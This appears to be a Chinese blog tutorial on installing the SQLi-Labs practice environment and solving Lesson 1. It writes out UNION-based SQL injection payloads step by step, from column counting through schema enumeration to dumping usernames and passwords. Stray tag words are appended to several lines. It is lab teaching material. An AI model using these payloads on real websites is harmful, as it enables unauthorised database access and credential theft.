SQLi-Labs環境搭建及Lesson 1

1、簡介

首先咱們來了解一下什麼是SQL注入?php

所謂SQL注入,就是SQL Injection:是Web程序代碼中對於用戶提交的參數未作過濾就直接放到SQL語句中執行,致使參數中的特殊字符打破了SQL語句原有邏輯,能夠利用該漏洞執行任意SQL語句,如查詢數據、下載數據、寫入webshell、執行系統命令以及繞過登陸限制等。mysql

那麼,咱們應該怎麼學習呢?SQLi-labs會是一個不錯的選擇。git

2、環境搭建

  1. SQLi-Labs 地址:https://github.com/Audi-1/sql...
  2. 還須要集成環境,我使用的是phpStudy,官網:http://phpstudy.php.cn/
  3. phpStudy裝好以後,將SQLi-Labs解壓,放到phpStudy安裝目錄下的/PHPTutorial/WWW
  4. 修改/sqli-labs/sql-connections/credb.inc文件中mysql帳號密碼,使之能鏈接上數據庫
  5. 打開瀏覽器,輸入地址http://localhost/sqli-labs/,點擊 Setup/reset Database for labs ,看到以下界面,就說明環境搭建成功了~

圖片描述

SQLi-Labs

Lesson 1 : GET - Error based - Single quotes - String

// GET-基於錯誤的-單引號-字符型github

點擊less-1,進入如下界面:
圖片描述web

咱們看到黃字提示:Please input the ID as parameter with numeric value //「請輸入ID爲數值的參數」sql

因此咱們在url後輸入:?id=1,回車,獲得下面的頁面:
圖片描述shell

說明用id=1查到對應的一些數據,實際上進行了下面的查詢數據庫

select * from TABLENAME where id=1;

咱們再在URL後面增長一個 ' (單引號),發現報錯:瀏覽器

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1less

經過查看報錯信息,咱們猜想多是由於後面加的單引號沒閉合致使,因而,修改URL爲:
/sqli-labs/Less-1/?id=1' or 1=1 --+
圖片描述

發現有效,--+成功註釋了後面的代碼,一樣的,使用如下代碼也成功查詢到數據:
?id=1' or '1'='1
?id=1' or 1=1 --%20
?id=1' or 1=1%23


這裏解釋一下%23:%23是#的URL Encode獲得的,和--+同是註釋符。
常見URL Encode有:
%20 -> (空格)
%22 -> "
%23 -> #
%25 -> %
%27 -> '


至此,咱們能夠開始猜解數據庫了。

1.查詢字段:

?id=1' order by 5%23

圖片描述

採用折半查找,找到一個最大的不報錯的數字,則爲該表的字段長度,這裏爲3;

2.查詢回顯點:

?id=' union select 1,2,3%23

圖片描述

由圖可知回顯點爲第2、第三個字段,因此咱們以後查詢的內容要放在第2、第三字段纔會顯示;

3.查詢數據庫版本信息:

?id=' union select 1,version(),3%23

圖片描述

4.查詢當前數據庫和用戶:

?id=' union select 1,database(),user()%23

圖片描述

5.查詢全部數據庫:

?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

圖片描述

6.查詢表名:

?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23

圖片描述

7.查詢列名:

?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23

圖片描述

8.查詢用戶名和密碼:

?id=' union select 1,(select group_concat(username separator ';') from users),(select group_concat(password separator ';') from users)%23

圖片描述

至此,猜解完畢!

相關文章
相關標籤/搜索